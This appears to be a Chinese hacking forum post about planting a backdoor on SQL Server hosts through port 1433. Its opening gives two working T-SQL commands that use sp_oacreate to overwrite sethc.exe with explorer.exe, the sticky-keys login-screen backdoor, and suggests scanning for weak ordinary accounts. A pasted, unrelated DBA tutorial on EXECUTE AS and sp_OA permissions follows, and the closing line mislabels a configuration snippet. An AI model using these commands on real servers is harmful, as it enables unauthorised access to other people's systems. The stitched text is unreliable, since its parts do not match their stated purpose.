1433普通用户也可以加后门（突发奇想）

fuchou-angle

我们用sa权限在使用sql执行下面的两条命令时有时候会出现未能找到存储过程 'sp_oacreate'
那么sa扫的人多了为什么我们不考虑扫别的普通用户了！普通用户也可以同样的执行下面这两条命令

declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';


declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'


l't go


环境需求：

SQL Server 2005 及之后的版本

背景

在论坛上遇到一个问题，询问如何使用一个普通用户调用一个存储过程，这个存储过程使用了 sp_OACreate这一系列存储过程来执行一些非常规的任务。当然，前提是普通用户只有调用这个存储过程的时候才能获得执行 sp_OACreate的权限。最初的时候也没有仔细考虑，心想， sp_OACreate需要具有 sysadmin固定服务器角色的成员身份才能调用，那么直接在存储过程用 EXECUTE AS LOGIN将会话的执行上下文设置了一个 sysadmin固定服务器角色的成员就好了吧，于是给了一段 T-SQL脚本。

但随后发现是行不通的，如果要用 EXECUTE AS LOGIN，调用者必须对要模拟的登录具有 IMPERSONATE权限，但如果普通用户拿到了这个权限，则他可以随时使用 EXECUTE AS LOGIN，没有达到“普通用户只有调用这个存储过程的时候才能获得执行 sp_OACreate的权限”的控制目的。

错误的解决办法


USE master;
GO

-- 建立登录
CREATE LOGIN OA_login
WITH PASSWORD = N'Pwd.123',
  CHECK_POLICY = OFF;
GO

-- 授予权限
EXEC sp_addsrvrolemember N'OA_login', N'sysadmin';
GO

-- 这个登录是内置的, 不允许登录, 这样可以减少安全隐藏
DENY CONNECT SQL
  TO oa_login;
GO


-- 被调用的存储过程
USE tempdb;
GO
CREATE PROC dbo.p
AS
EXECUTE AS LOGIN = N'OA_login' ;

-- 调用sp_OACreate 的代码
--EXEC sp_OACreate;

REVERT;
GO当试图使用普通用户调用上面的存储过程的时候，会收到如下的错误信息。

无法作为服务器主体执行，因为主体 "grant_login" 不存在、无法模拟这种类型的主体，或您没有所需的权限。

正确的解决办法

正确的解决办法是在通过存储过程的 EXEUTE AS指定存储过程执行时的安全上下文，当然，这个被指定的用户要求能够调用 sp_OACreate这一系列存储过程。


-- 1. 具有执行sp_OA... 权限的登录
USE master;
GO

-- 1.a. 建立登录
CREATE LOGIN OA_login
WITH PASSWORD = N'Pwd.123',
  CHECK_POLICY = OFF;
GO
-- 1.b. 这个登录是内置的, 不允许登录, 这样可以减少安全隐藏
DENY CONNECT SQL
  TO OA_login;
GO
-- 1.c. 因为要使用sp_OA 这一系列的存储过程, 所以在 master 中要有用户, 并具有权限
CREATE USER OA_login
FOR LOGIN OA_login
WITH DEFAULT_SCHEMA = dbo;

GRANT EXECUTE ON sys.sp_OACreate
  TO OA_login;
  
GRANT EXECUTE ON sys.sp_OADestroy
  TO OA_login;
  
GRANT EXECUTE ON sys.sp_OAGetErrorInfo
  TO OA_login;
  
GRANT EXECUTE ON sys.sp_OAGetProperty
  TO OA_login;
  
GRANT EXECUTE ON sys.sp_OAMethod
  TO OA_login;
  
GRANT EXECUTE ON sys.sp_OASetProperty
  TO OA_login;
  
GRANT EXECUTE ON sys.sp_OAStop
  TO OA_login;
GO


-- 2. 用户数据库
USE tempdb;
GO

-- 2.a 为执行sp_OA... 权限的登录建立用户
CREATE USER OA_login
FOR LOGIN OA_login
WITH DEFAULT_SCHEMA = dbo;
GO

-- 2.b 测试存储过程
CREATE PROC dbo.p
WITH EXECUTE AS N'OA_login' -- 指定存储过程的执行时的上下文
AS
  DECLARE @object int;
  DECLARE @hr int;
  DECLARE @src varchar(255), @desc varchar(255);
  
  EXEC @hr = sp_OACreate 'ADODB.RecordSet', @object OUT;
  IF @hr <> 0
    GOTO lb_Err;
   
  EXEC @hr = sp_OAMethod @object, 'Open', NULL, 'SELECT ServerName = @@SERVERNAME', N'Provider=SQLOLEDB.1;Integrated Security=SSPI';
  IF @hr <> 0
    GOTO lb_Err;
   
  EXEC @hr = sp_OAMethod @object, 'GetRows';
  IF @hr <> 0
    GOTO lb_Err;

  EXEC @hr = sp_OADestroy @object;
  RETURN;
  
lb_Err:
  BEGIN
    EXEC sp_OAGetErrorInfo @object, @src OUT, @desc OUT ;
    RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @hr, @src, @desc);
  END;
GO


-- 3. 调用存储过程的普通登录
USE master;
GO
-- 3.a 登录
CREATE LOGIN test
WITH PASSWORD = N'abc.123',
  CHECK_POLICY = OFF;
GO

-- 3.b 数据库用户
USE tempdb;
GO
CREATE USER test
FOR LOGIN test;
GO

-- 3.c 执行存储过程的权限
GRANT EXECUTE ON dbo.p
  TO test;
GO

-- 3.d 执行测试
EXECUTE AS LOGIN = N'test';
GO
EXEC dbo.p;
GO
REVERT;
GO

-- 4. 删除测试
DROP PROC dbo.p;
DROP USER test;
DROP USER OA_login;

USE master;
DROP LOGIN test;
DROP USER OA_login;
DROP LOGIN OA_login;补充说明

多数情况下，数据库的所有者是 sa一类的 sysadmin固定服务器角色的成员，所以在这种情况下，也可以直接指定使用数据库所有者作为存储过程执行的安全上下文。


USE tempdb;
GO
-- 2.b 测试存储过程
CREATE PROC dbo.p
WITH EXECUTE AS N'dbo' -- 指定存储过程的执行时的上下文
AS
  DECLARE @object int;
  DECLARE @hr int;
  DECLARE @src varchar(255), @desc varchar(255);
  
  EXEC @hr = sp_OACreate 'ADODB.RecordSet', @object OUT;
  IF @hr <> 0
    GOTO lb_Err;
   
  EXEC @hr = sp_OAMethod @object, 'Open', NULL, 'SELECT ServerName = @@SERVERNAME', N'Provider=SQLOLEDB.1;Integrated Security=SSPI';
  IF @hr <> 0
    GOTO lb_Err;
   
  EXEC @hr = sp_OAMethod @object, 'GetRows';
  IF @hr <> 0
    GOTO lb_Err;

  EXEC @hr = sp_OADestroy @object;
  RETURN;
  
lb_Err:
  BEGIN
    EXEC sp_OAGetErrorInfo @object, @src OUT, @desc OUT ;
    RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @hr, @src, @desc);
  END;
GO


-- 3. 调用存储过程的普通登录
USE master;
GO
-- 3.a 登录
CREATE LOGIN test
WITH PASSWORD = N'abc.123',
  CHECK_POLICY = OFF;
GO

-- 3.b 数据库用户
USE tempdb;
GO
CREATE USER test
FOR LOGIN test;
GO

-- 3.c 执行存储过程的权限
GRANT EXECUTE ON dbo.p
  TO test;
GO

-- 3.d 执行测试
EXECUTE AS LOGIN = N'test';
GO
EXEC dbo.p;
GO
REVERT;
GO

-- 4. 删除测试
DROP PROC dbo.p;
DROP USER test;

USE master;
DROP LOGIN test;最后说明一点，要使用 sp_OACreate这一系列存储过程，得将服务器的“ Ole Automation Procedures”选项打开，参考如下的代码。


EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;


这个是恢复存储过程 'sp_oacreate'的命令